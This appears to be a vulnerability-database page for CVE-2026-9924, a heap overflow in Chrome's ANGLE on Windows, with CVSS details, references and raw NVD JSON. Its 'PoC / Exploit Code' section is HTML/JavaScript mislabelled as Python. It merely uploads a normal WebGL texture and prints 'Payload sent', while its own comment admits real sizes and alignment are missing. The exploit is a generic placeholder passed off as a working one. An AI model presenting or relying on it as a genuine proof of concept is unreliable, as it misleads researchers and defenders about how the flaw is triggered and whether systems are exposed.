CVE-2026-9924

Description

Heap buffer overflow in ANGLE in Google Chrome on Windows prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

8.3

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Google Chrome (Windows) < 148.0.7778.216

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
// PoC for CVE-2026-9924: Chrome ANGLE Heap Buffer Overflow
// This script attempts to trigger the overflow via WebGL context manipulation.
-->
<html>
<head>
    <title>CVE-2026-9924 PoC</title>
</head>
<body>
    <canvas id="glCanvas" width="800" height="600"></canvas>
    <script>
        const canvas = document.getElementById('glCanvas');
        // Attempt to get a WebGL context, which utilizes ANGLE on Windows
        const gl = canvas.getContext('webgl') || canvas.getContext('experimental-webgl');

        if (gl) {
            console.log("[+] WebGL context initialized. Triggering ANGLE path...");
            
            // Create a texture to manipulate memory
            const texture = gl.createTexture();
            gl.bindTexture(gl.TEXTURE_2D, texture);
            
            // Crafted data to potentially trigger the heap overflow
            // In a real exploit, specific size and alignment would be required
            const width = 1024;
            const height = 1024;
            const data = new Uint8Array(width * height * 4);
            
            // Fill data with pattern to increase chance of corruption visibility
            for (let i = 0; i < data.length; i++) {
                data[i] = i % 256;
            }

            try {
                // Upload texture data which may trigger the overflow in vulnerable versions
                gl.texImage2D(
                    gl.TEXTURE_2D, 
                    0, 
                    gl.RGBA, 
                    width, 
                    height, 
                    0, 
                    gl.RGBA, 
                    gl.UNSIGNED_BYTE, 
                    data
                );
                console.log("[+] Payload sent. Check browser stability.");
            } catch (e) {
                console.error("[-] Exception occurred: " + e);
            }
        } else {
            console.log("[-] WebGL is not supported.");
        }
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9924
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9924
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9924/
[4] VulDB https://vuldb.com/cve/CVE-2026-9924
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html
[6] https://issues.chromium.org/issues/500398345

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9924", "sourceIdentifier": "[email protected]", "published": "2026-05-28T23:16:50.503", "lastModified": "2026-05-29T16:16:37.933", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Heap buffer overflow in ANGLE in Google Chrome on Windows prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 8.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/500398345", "source": "[email protected]"}]}}